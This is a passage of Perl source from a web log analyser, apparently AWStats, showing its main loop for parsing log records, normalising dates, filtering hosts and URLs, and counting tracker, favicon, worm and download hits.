&CheckSum($line); 18213 if ($Debug) { 18214 debug( 18215" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum", 18216 1 18217 ); 18218 } 18219 if ( $checksum == $LastLineChecksum ) { 18220 if ( !scalar keys %HTMLOutput ) { 18221 print 18222"Direct access after last parsed record (after line $LastLineNumber)\n"; 18223 } 18224 $lastlinenb = $LastLineNumber; 18225 $lastlineoffset = $LastLineOffset; 18226 $lastlineoffsetnext = tell LOG; 18227 $NewLinePhase = 1; 18228 } 18229 else { 18230 if ( !scalar keys %HTMLOutput ) { 18231 print 18232"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n"; 18233 } 18234 $lastlinenb = 0; 18235 $lastlineoffset = 0; 18236 $lastlineoffsetnext = 0; 18237 seek( LOG, 0, 0 ); 18238 } 18239 } 18240 else { 18241 if ( !scalar keys %HTMLOutput ) { 18242 print 18243"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n"; 18244 } 18245 $lastlinenb = 0; 18246 $lastlineoffset = 0; 18247 $lastlineoffsetnext = 0; 18248 seek( LOG, 0, 0 ); 18249 } 18250 } 18251 else { 18252 18253 # No try of direct seek access 18254 if ( !scalar keys %HTMLOutput ) { 18255 print "Searching new records from beginning of log file...\n"; 18256 } 18257 $lastlinenb = 0; 18258 $lastlineoffset = 0; 18259 $lastlineoffsetnext = 0; 18260 } 18261 18262 # 18263 # Loop on each log line 18264 # 18265 while ( $line = <LOG> ) { 18266 18267 # 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code 18268 my $FirstHexChar; 18269 $FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) ); 18270 if ( $FirstHexChar eq '00' ) { 18271 $NbOfLinesCorrupted++; 18272 if ($ShowCorrupted) { 18273 print "Corrupted record line " 18274 . ( $lastlinenb + $NbOfLinesParsed ) 18275 . " (record starts with hex 00; binary code): $line\n"; 18276 } 18277 if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog 18278 && $NbOfLinesParsed == $NbOfLinesCorrupted ) 18279 { 18280 error( "Format error", $line, $LogFile ); 18281 } # Exit with format error 18282 next; 18283 } 18284 # 20080525 END 18285 18286 chomp $line; 18287 $line =~ s/\r$//; 18288 if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; } 18289 $NbOfLinesParsed++; 18290 18291 $lastlineoffset = $lastlineoffsetnext; 18292 $lastlineoffsetnext = tell LOG; 18293 18294 if ($ShowSteps) { 18295 if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) { 18296 my $delay = &GetDelaySinceStart(0); 18297 print "$NbOfLinesParsed lines processed (" 18298 . ( $delay > 0 ? $delay : 1000 ) . " ms, " 18299 . int( 18300 1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 ) 18301 ) 18302 . " lines/second)\n"; 18303 } 18304 } 18305 18306 if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) { 18307 my @fixField = map( /^#Fields: (.*)/, $line ); 18308 if ( $fixField[0] !~ /s-kernel-time/ ) { 18309 debug( "Found new log format: '" . $fixField[0] . "'", 1 ); 18310 &DefinePerlParsingFormat( $fixField[0] ); 18311 } 18312 } 18313 18314 # Parse line record to get all required fields 18315 if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) { 18316 # see if the line is a comment, blank or corrupted 18317 if ( $line =~ /^#/ || $line =~ /^!/ ) { 18318 $NbOfLinesComment++; 18319 if ($ShowCorrupted){ 18320 print "Comment record line " 18321 . ( $lastlinenb + $NbOfLinesParsed ) 18322 . ": $line\n"; 18323 } 18324 } 18325 elsif ( $line =~ /^\s*$/ ) { 18326 $NbOfLinesBlank++; 18327 if ($ShowCorrupted){ 18328 print "Blank record line " 18329 . ( $lastlinenb + $NbOfLinesParsed ) 18330 . "\n"; 18331 } 18332 }else{ 18333 $NbOfLinesCorrupted++; 18334 if ($ShowCorrupted){ 18335 print "Corrupted record line " 18336 . ( $lastlinenb + $NbOfLinesParsed ) 18337 . " (record format does not match LogFormat parameter): $line\n"; 18338 } 18339 } 18340 if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog 18341 && $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank)) 18342 { 18343 error( "Format error", $line, $LogFile ); 18344 } # Exit with format error 18345 if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only 18346 next; 18347 } 18348 18349 if ($Debug) { 18350 my $string = ''; 18351 foreach ( 0 .. @field - 1 ) { 18352 $string .= "$fieldlib[$_]=$field[$_] "; 18353 } 18354 if ($Debug) { 18355 debug( 18356 " Correct format line " 18357 . ( $lastlinenb + $NbOfLinesParsed ) 18358 . ": $string", 18359 4 18360 ); 18361 } 18362 } 18363 18364 # Drop wrong virtual host name 18365 #---------------------------------------------------------------------- 18366 if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) { 18367 my $skip = 1; 18368 foreach (@HostAliases) { 18369 if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; } 18370 } 18371 if ($skip) { 18372 $NbOfLinesDropped++; 18373 if ($ShowDropped) { 18374 print 18375"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n"; 18376 } 18377 next; 18378 } 18379 } 18380 18381 # Drop wrong method/protocol 18382 #--------------------------- 18383 if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; } 18384 if ( 18385 $LogType eq 'W' 18386 && ( 18387 $field[$pos_method] eq 'GET' 18388 || $field[$pos_method] eq 'POST' 18389 || $field[$pos_method] eq 'HEAD' 18390 || $field[$pos_method] eq 'PROPFIND' 18391 || $field[$pos_method] eq 'CHECKOUT' 18392 || $field[$pos_method] eq 'LOCK' 18393 || $field[$pos_method] eq 'PROPPATCH' 18394 || $field[$pos_method] eq 'OPTIONS' 18395 || $field[$pos_method] eq 'MKACTIVITY' 18396 || $field[$pos_method] eq 'PUT' 18397 || $field[$pos_method] eq 'MERGE' 18398 || $field[$pos_method] eq 'DELETE' 18399 || $field[$pos_method] eq 'REPORT' 18400 || $field[$pos_method] eq 'MKCOL' 18401 || $field[$pos_method] eq 'COPY' 18402 || $field[$pos_method] eq 'RPC_IN_DATA' 18403 || $field[$pos_method] eq 'RPC_OUT_DATA' 18404 || $field[$pos_method] eq 'OK' # Webstar 18405 || $field[$pos_method] eq 'ERR!' # Webstar 18406 || $field[$pos_method] eq 'PRIV' # Webstar 18407 ) 18408 ) 18409 { 18410 18411# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE 18412 } 18413 elsif ( 18414 ( $LogType eq 'W' || $LogType eq 'S' ) 18415 && ( uc($field[$pos_method]) eq 'GET' 18416 || uc($field[$pos_method]) eq 'MMS' 18417 || uc($field[$pos_method]) eq 'RTSP' 18418 || uc($field[$pos_method]) eq 'HTTP' 18419 || uc($field[$pos_method]) eq 'RTP' ) 18420 ) 18421 { 18422 18423# Streaming request (windows media server, realmedia or darwin streaming server) 18424 } 18425 elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) { 18426 18427 # Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor) 18428 } 18429 elsif ( 18430 $LogType eq 'F' 18431 && ( $field[$pos_method] eq 'RETR' 18432 || $field[$pos_method] eq 'D' 18433 || $field[$pos_method] eq 'o' 18434 || $field[$pos_method] =~ /$regget/o ) 18435 ) 18436 { 18437 18438 # FTP GET request 18439 } 18440 elsif ( 18441 $LogType eq 'F' 18442 && ( $field[$pos_method] eq 'STOR' 18443 || $field[$pos_method] eq 'U' 18444 || $field[$pos_method] eq 'i' 18445 || $field[$pos_method] =~ /$regsent/o ) 18446 ) 18447 { 18448 18449 # FTP SENT request 18450 } 18451 elsif($line =~ m/#Fields:/){ 18452 # log #fields as comment 18453 $NbOfLinesComment++; 18454 next; 18455 }else{ 18456 $NbOfLinesDropped++; 18457 if ($ShowDropped) { 18458 print 18459"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n"; 18460 } 18461 next; 18462 } 18463 18464 # Reformat date for IIS date -DWG 12/8/2008 18465 if($field[$pos_date] =~ /,/) 18466 { 18467 $field[$pos_date] =~ s/,//; 18468 my @split_date = split(' ',$field[$pos_date]); 18469 my @dateparts2= split('/',$split_date[0]); 18470 my @timeparts2= split(':',$split_date[1]); 18471 #add leading zero 18472 for($dateparts2[0],$dateparts2[1], $timeparts2[0], $timeparts2[1], $timeparts2[2]) { 18473 if($_ =~ /^.$/) 18474 { 18475 $_ = '0'.$_; 18476 } 18477 18478 } 18479 18480 $field[$pos_date] = "$dateparts2[2]-$dateparts2[0]-$dateparts2[1] $timeparts2[0]:$timeparts2[1]:$timeparts2[2]"; 18481 } 18482 18483 $field[$pos_date] =~ 18484 tr/,-\/ \tT/::::::/s; # " \t" is used instead of "\s" not known with tr 18485 my @dateparts = 18486 split( /:/, $field[$pos_date] ); # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date]) 18487 # Detected date format: 18488 # dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS, 18489 # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS, 18490 # YYYY-MM-DDTHH:MM:SS (iso) 18491 if ( !$dateparts[1] ) { # Unix timestamp 18492 ( 18493 $dateparts[5], $dateparts[4], $dateparts[3], 18494 $dateparts[0], $dateparts[1], $dateparts[2] 18495 ) 18496 = localtime( int( $field[$pos_date] ) ); 18497 $dateparts[1]++; 18498 $dateparts[2] += 1900; 18499 } 18500 elsif ( $dateparts[0] =~ /^....$/ ) { 18501 my $tmp = $dateparts[0]; 18502 $dateparts[0] = $dateparts[2]; 18503 $dateparts[2] = $tmp; 18504 } 18505 elsif ( $field[$pos_date] =~ /^..:..:..:/ ) { 18506 $dateparts[2] += 2000; 18507 my $tmp = $dateparts[0]; 18508 $dateparts[0] = $dateparts[1]; 18509 $dateparts[1] = $tmp; 18510 } 18511 elsif ( $dateparts[0] =~ /^...$/ ) { 18512 my $tmp = $dateparts[0]; 18513 $dateparts[0] = $dateparts[1]; 18514 $dateparts[1] = $tmp; 18515 $tmp = $dateparts[5]; 18516 $dateparts[5] = $dateparts[4]; 18517 $dateparts[4] = $dateparts[3]; 18518 $dateparts[3] = $dateparts[2]; 18519 $dateparts[2] = $tmp || $nowyear; 18520 } 18521 if ( exists( $MonthNum{ $dateparts[1] } ) ) { 18522 $dateparts[1] = $MonthNum{ $dateparts[1] }; 18523 } # Change lib month in num month if necessary 18524 if ( $dateparts[1] <= 0 ) 18525 { # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file) 18526 $NbOfLinesCorrupted++; 18527 if ($ShowCorrupted) { 18528 print "Corrupted record line " 18529 . ( $lastlinenb + $NbOfLinesParsed ) 18530 . " (bad date format for month, may be month are not in english ?): $line\n"; 18531 } 18532 next; 18533 } 18534 18535# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS 18536 if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) { 18537 @dateparts = ChangeTime_timezone( \@dateparts ); 18538 } 18539 my $yearrecord = int( $dateparts[2] ); 18540 my $monthrecord = int( $dateparts[1] ); 18541 my $dayrecord = int( $dateparts[0] ); 18542 my $hourrecord = int( $dateparts[3] ); 18543 my $daterecord = ''; 18544 if ( $DatabaseBreak eq 'month' ) { 18545 $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord ); 18546 } 18547 elsif ( $DatabaseBreak eq 'year' ) { 18548 $daterecord = sprintf( "%04i%", $yearrecord ); 18549 } 18550 elsif ( $DatabaseBreak eq 'day' ) { 18551 $daterecord = 18552 sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord ); 18553 } 18554 elsif ( $DatabaseBreak eq 'hour' ) { 18555 $daterecord = sprintf( "%04i%02i%02i%02i", 18556 $yearrecord, $monthrecord, $dayrecord, $hourrecord ); 18557 } 18558 18559 # TODO essayer de virer yearmonthrecord 18560 my $yearmonthdayrecord = 18561 sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] ); 18562 my $timerecord = 18563 ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 + 18564 $dateparts[4] ) * 100 + $dateparts[5]; 18565 18566 # Check date 18567 #----------------------- 18568 if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) { 18569 18570# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future 18571 $yearrecord--; 18572 if ( $DatabaseBreak eq 'month' ) { 18573 $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord ); 18574 } 18575 elsif ( $DatabaseBreak eq 'year' ) { 18576 $daterecord = sprintf( "%04i%", $yearrecord ); 18577 } 18578 elsif ( $DatabaseBreak eq 'day' ) { 18579 $daterecord = sprintf( "%04i%02i%02i", 18580 $yearrecord, $monthrecord, $dayrecord ); 18581 } 18582 elsif ( $DatabaseBreak eq 'hour' ) { 18583 $daterecord = sprintf( "%04i%02i%02i%02i", 18584 $yearrecord, $monthrecord, $dayrecord, $hourrecord ); 18585 } 18586 18587 # TODO essayer de virer yearmonthrecord 18588 $yearmonthdayrecord = 18589 sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] ); 18590 $timerecord = 18591 ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 + 18592 $dateparts[4] ) * 100 + $dateparts[5]; 18593 } 18594 if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) { 18595 $NbOfLinesCorrupted++; 18596 if ($ShowCorrupted) { 18597 print 18598"Corrupted record (invalid date, timerecord=$timerecord): $line\n"; 18599 } 18600 next; # Should not happen, kept in case of parasite/corrupted line 18601 } 18602 if ($NewLinePhase) { 18603 18604 # TODO NOTSORTEDRECORDTOLERANCE does not work around midnight 18605 if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) { 18606 18607 # Should not happen, kept in case of parasite/corrupted old line 18608 $NbOfLinesCorrupted++; 18609 if ($ShowCorrupted) { 18610 print 18611"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n"; 18612 } 18613 next; 18614 } 18615 } 18616 else { 18617 if ( $timerecord <= $LastLine ) { # Already processed 18618 $NbOfOldLines++; 18619 next; 18620 } 18621 18622# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now) 18623 $NewLinePhase = 1; # We will never enter here again 18624 if ($ShowSteps) { 18625 if ( $NbOfLinesShowsteps > 1 18626 && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) ) 18627 { 18628 my $delay = &GetDelaySinceStart(0); 18629 print "" 18630 . ( $NbOfLinesParsed - 1 ) 18631 . " lines processed (" 18632 . ( $delay > 0 ? $delay : 1000 ) . " ms, " 18633 . int( 1000 * ( $NbOfLinesShowsteps - 1 ) / 18634 ( $delay > 0 ? $delay : 1000 ) ) 18635 . " lines/second)\n"; 18636 } 18637 &GetDelaySinceStart(1); 18638 $NbOfLinesShowsteps = 1; 18639 } 18640 if ( !scalar keys %HTMLOutput ) { 18641 print 18642"Phase 2 : Now process new records (Flush history on disk after " 18643 . ( $LIMITFLUSH << 2 ) 18644 . " hosts)...\n"; 18645 18646#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n"; 18647 } 18648 } 18649 18650 # Convert URL for Webstar to common URL 18651 if ( $LogFormat eq '3' ) { 18652 $field[$pos_url] =~ s/:/\//g; 18653 if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; } 18654 } 18655 18656# Here, field array, timerecord and yearmonthdayrecord are initialized for log record 18657 if ($Debug) { 18658 debug( " This is a not already processed record ($timerecord)", 18659 4 ); 18660 } 18661 18662 # Check if there's a CloudFlare Visitor IP in the query string 18663 # If it does, replace the ip 18664 if ( $pos_query >= 0 && $field[$pos_query] && $field[$pos_query] =~ /\[CloudFlare_Visitor_IP[:](\d+[.]\d+[.]\d+[.]\d+)\]/ ) { 18665 $field[$pos_host] = "$1"; 18666 } 18667 18668 # We found a new line 18669 #---------------------------------------- 18670 if ( $timerecord > $LastLine ) { 18671 $LastLine = $timerecord; 18672 } # Test should always be true except with not sorted log files 18673 18674 # Skip for some client host IP addresses, some URLs, other URLs 18675 if ( 18676 @SkipHosts 18677 && ( &SkipHost( $field[$pos_host] ) 18678 || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) ) 18679 ) 18680 { 18681 $qualifdrop = 18682 "Dropped record (host $field[$pos_host]" 18683 . ( $pos_hostr ? " and $field[$pos_hostr]" : "" ) 18684 . " not qualified by SkipHosts)"; 18685 } 18686 elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) { 18687 $qualifdrop = 18688"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)"; 18689 } 18690 elsif (@SkipUserAgents 18691 && $pos_agent >= 0 18692 && &SkipUserAgent( $field[$pos_agent] ) ) 18693 { 18694 $qualifdrop = 18695"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)"; 18696 } 18697 elsif (@SkipReferrers 18698 && $pos_referer >= 0 18699 && &SkipReferrer( $field[$pos_referer] ) ) 18700 { 18701 $qualifdrop = 18702"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)"; 18703 } 18704 elsif (@OnlyHosts 18705 && !&OnlyHost( $field[$pos_host] ) 18706 && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) ) 18707 { 18708 $qualifdrop = 18709 "Dropped record (host $field[$pos_host]" 18710 . ( $pos_hostr ? " and $field[$pos_hostr]" : "" ) 18711 . " not qualified by OnlyHosts)"; 18712 } 18713 elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) { 18714 $qualifdrop = 18715"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)"; 18716 } 18717 elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) { 18718 $qualifdrop = 18719"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)"; 18720 } 18721 elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) { 18722 $qualifdrop = 18723"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)"; 18724 } 18725 if ($qualifdrop) { 18726 $NbOfLinesDropped++; 18727 if ($Debug) { debug( "$qualifdrop: $line", 4 ); } 18728 if ($ShowDropped) { print "$qualifdrop: $line\n"; } 18729 $qualifdrop = ''; 18730 next; 18731 } 18732 18733 # Record is approved 18734 #------------------- 18735 18736 # Is it in a new break section ? 18737 #------------------------------- 18738 if ( $daterecord > $lastprocesseddate ) { 18739 18740 # A new break to process 18741 if ( $lastprocesseddate > 0 ) { 18742 18743 # We save data of previous break 18744 &Read_History_With_TmpUpdate( 18745 $lastprocessedyear, $lastprocessedmonth, 18746 $lastprocessedday, $lastprocessedhour, 18747 1, 1, 18748 "all", ( $lastlinenb + $NbOfLinesParsed ), 18749 $lastlineoffset, &CheckSum($line) 18750 ); 18751 $counterforflushtest = 0; # We reset counterforflushtest 18752 } 18753 $lastprocessedyear = $yearrecord; 18754 $lastprocessedmonth = $monthrecord; 18755 $lastprocessedday = $dayrecord; 18756 $lastprocessedhour = $hourrecord; 18757 if ( $DatabaseBreak eq 'month' ) { 18758 $lastprocesseddate = 18759 sprintf( "%04i%02i", $yearrecord, $monthrecord ); 18760 } 18761 elsif ( $DatabaseBreak eq 'year' ) { 18762 $lastprocesseddate = sprintf( "%04i%", $yearrecord ); 18763 } 18764 elsif ( $DatabaseBreak eq 'day' ) { 18765 $lastprocesseddate = sprintf( "%04i%02i%02i", 18766 $yearrecord, $monthrecord, $dayrecord ); 18767 } 18768 elsif ( $DatabaseBreak eq 'hour' ) { 18769 $lastprocesseddate = sprintf( "%04i%02i%02i%02i", 18770 $yearrecord, $monthrecord, $dayrecord, $hourrecord ); 18771 } 18772 } 18773 18774 $countedtraffic = 0; 18775 $NbOfNewLines++; 18776 18777 # Convert $field[$pos_size] 18778 # if ($field[$pos_size] eq '-') { $field[$pos_size]=0; } 18779 18780 # Define a clean target URL and referrer URL 18781 # We keep a clean $field[$pos_url] and 18782 # we store original value for urlwithnoquery, tokenquery and standalonequery 18783 #--------------------------------------------------------------------------- 18784 18785 # Decode "unreserved characters" - URIs with common ASCII characters 18786 # percent-encoded are equivalent to their unencoded versions. 18787 # 18788 # See section 2.3. of RFC 3986. 18789 18790 $field[$pos_url] = DecodeRFC3986UnreservedString($field[$pos_url]); 18791 18792 if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); } 18793 18794# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x¶m2=y#aaa, /mydir/mypage.ext#aaa, / 18795 my $urlwithnoquery; 18796 my $tokenquery; 18797 my $standalonequery; 18798 my $anchor = ''; 18799 if ( $field[$pos_url] =~ s/$regtruncanchor//o ) { 18800 $anchor = $1; 18801 } # Remove and save anchor 18802 if ($URLWithQuery) { 18803 $urlwithnoquery = $field[$pos_url]; 18804 my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o ); 18805 $tokenquery = $1 || ''; 18806 $standalonequery = $2 || ''; 18807 18808# For IIS setup, if pos_query is enabled we need to combine the URL to query strings 18809 if ( !$foundparam 18810 && $pos_query >= 0 18811 && $field[$pos_query] 18812 && $field[$pos_query] ne '-' ) 18813 { 18814 $foundparam = 1; 18815 $tokenquery = '?'; 18816 $standalonequery = $field[$pos_query]; 18817 18818 # Define query 18819 $field[$pos_url] .= '?' . $field[$pos_query]; 18820 } 18821 if ($foundparam) { 18822 18823 # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters 18824 my $newstandalonequery = ''; 18825 if (@URLWithQueryWithOnly) { 18826 foreach (@URLWithQueryWithOnly) { 18827 foreach my $p ( split( /&/, $standalonequery ) ) { 18828 if ($URLNotCaseSensitive) { 18829 if ( $p =~ /^$_=/i ) { 18830 $newstandalonequery .= "$p&"; 18831 last; 18832 } 18833 } 18834 else { 18835 if ( $p =~ /^$_=/ ) { 18836 $newstandalonequery .= "$p&"; 18837 last; 18838 } 18839 } 18840 } 18841 } 18842 chop $newstandalonequery; 18843 } 18844 18845# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters 18846 elsif (@URLWithQueryWithout) { 18847 foreach my $p ( split( /&/, $standalonequery ) ) { 18848 my $found = 0; 18849 foreach (@URLWithQueryWithout) { 18850 18851#if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); } 18852 if ($URLNotCaseSensitive) { 18853 if ( $p =~ /^$_=/i ) { $found = 1; last; } 18854 } 18855 else { 18856 if ( $p =~ /^$_=/ ) { $found = 1; last; } 18857 } 18858 } 18859 if ( !$found ) { $newstandalonequery .= "$p&"; } 18860 } 18861 chop $newstandalonequery; 18862 } 18863 else { $newstandalonequery = $standalonequery; } 18864 18865 # Define query 18866 $field[$pos_url] = $urlwithnoquery; 18867 if ($newstandalonequery) { 18868 $field[$pos_url] .= "$tokenquery$newstandalonequery"; 18869 } 18870 } 18871 } 18872 else { 18873 18874 # Trunc parameters of URL 18875 $field[$pos_url] =~ s/$regtruncurl//o; 18876 $urlwithnoquery = $field[$pos_url]; 18877 $tokenquery = $1 || ''; 18878 $standalonequery = $2 || ''; 18879 18880 # For IIS setup, if pos_query is enabled we need to use it for query strings 18881 if ( $pos_query >= 0 18882 && $field[$pos_query] 18883 && $field[$pos_query] ne '-' ) 18884 { 18885 $tokenquery = '?'; 18886 $standalonequery = $field[$pos_query]; 18887 } 18888 } 18889 if ( $URLWithAnchor && $anchor ) { 18890 $field[$pos_url] .= "#$anchor"; 18891 } # Restore anchor 18892 # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX 18893 # Here now tokenquery is '' or '?' or ';' 18894 # Here now standalonequery is '' or 'param1=x' 18895 18896 # Define page and extension 18897 #-------------------------- 18898 my $PageBool = 1; 18899 18900 # Extension 18901 my $extension = Get_Extension($regext, $urlwithnoquery); 18902 if ( $NotPageList{$extension} || 18903 ($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;} 18904 if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; } 18905 18906 # Analyze: misc tracker (must be before return code) 18907 #--------------------------------------------------- 18908 if ( $urlwithnoquery =~ /$regmisc/o ) { 18909 if ($Debug) { 18910 debug( 18911" Found an URL that is a MiscTracker record with standalonequery=$standalonequery", 18912 2 18913 ); 18914 } 18915 my $foundparam = 0; 18916 foreach ( split( /&/, $standalonequery ) ) { 18917 if ( $_ =~ /^screen=(\d+)x(\d+)/i ) { 18918 $foundparam++; 18919 $_screensize_h{"$1x$2"}++; 18920 next; 18921 } 18922 18923 #if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; } 18924 if ( $_ =~ /^nojs=(\w+)/i ) { 18925 $foundparam++; 18926 if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; } 18927 next; 18928 } 18929 if ( $_ =~ /^java=(\w+)/i ) { 18930 $foundparam++; 18931 if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; } 18932 next; 18933 } 18934 if ( $_ =~ /^shk=(\w+)/i ) { 18935 $foundparam++; 18936 if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; } 18937 next; 18938 } 18939 if ( $_ =~ /^fla=(\w+)/i ) { 18940 $foundparam++; 18941 if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; } 18942 next; 18943 } 18944 if ( $_ =~ /^rp=(\w+)/i ) { 18945 $foundparam++; 18946 if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; } 18947 next; 18948 } 18949 if ( $_ =~ /^mov=(\w+)/i ) { 18950 $foundparam++; 18951 if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; } 18952 next; 18953 } 18954 if ( $_ =~ /^wma=(\w+)/i ) { 18955 $foundparam++; 18956 if ( $1 eq 'y' ) { 18957 $_misc_h{"WindowsMediaPlayerSupport"}++; 18958 } 18959 next; 18960 } 18961 if ( $_ =~ /^pdf=(\w+)/i ) { 18962 $foundparam++; 18963 if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; } 18964 next; 18965 } 18966 } 18967 if ($foundparam) { $_misc_h{"TotalMisc"}++; } 18968 } 18969 18970 # Analyze: successful favicon (=> countedtraffic=1 if favicon) 18971 #-------------------------------------------------- 18972 if ( $urlwithnoquery =~ /$regfavico/o ) { 18973 if ( $field[$pos_code] != 404 ) { 18974 $_misc_h{'AddToFavourites'}++; 18975 } 18976 $countedtraffic = 18977 1; # favicon is a case that must not be counted anywhere else 18978 $_time_nv_h[$hourrecord]++; 18979 if ( $field[$pos_code] != 404 && $pos_size>0) { 18980 $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); 18981 } 18982 } 18983 18984 # Analyze: Worms (=> countedtraffic=2 if worm) 18985 #--------------------------------------------- 18986 if ( !$countedtraffic ) { 18987 if ($LevelForWormsDetection) { 18988 foreach (@WormsSearchIDOrder) { 18989 if ( $field[$pos_url] =~ /$_/ ) { 18990 18991 # It's a worm 18992 my $worm = &UnCompileRegex($_); 18993 if ($Debug) { 18994 debug( 18995" Record is a hit from a worm identified by '$worm'", 18996 2 18997 ); 18998 } 18999 $worm = $WormsHashID{$worm} || 'unknown'; 19000 $_worm_h{$worm}++; 19001 if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );} 19002 $_worm_l{$worm} = $timerecord; 19003 $countedtraffic = 2; 19004 if ($PageBool) { $_time_nv_p[$hourrecord]++; } 19005 $_time_nv_h[$hourrecord]++; 19006 if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} 19007 last; 19008 } 19009 } 19010 } 19011 } 19012 19013 # Analyze: Status code (=> countedtraffic=3 if error) 19014 #---------------------------------------------------- 19015 if ( !$countedtraffic ) { 19016 if ( $LogType eq 'W' || $LogType eq 'S' ) 19017 { # HTTP record or Stream record 19018 if ( $ValidHTTPCodes{ $field[$pos_code] } ) { # Code is valid 19019 if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; } 19020 # track downloads 19021 if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd' && $urlwithnoquery !~ /robots.txt$/ ) # We track download if $MimeHashLib{$extension}[1] = 'd' 19022 { 19023 $_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++; 19024 $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0); 19025 if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); } 19026 } 19027 # handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors 19028 }elsif(int($field[$pos_code]) == 206 19029 #&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0 19030 && ($MimeHashLib{$extension}[1] eq 'd')){ 19031 $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0); 19032 $_downloads{$urlwithnoquery}->{'AWSTATS_206'}++; 19033 #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord; 19034 if ($pos_size>0){ 19035 #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]); 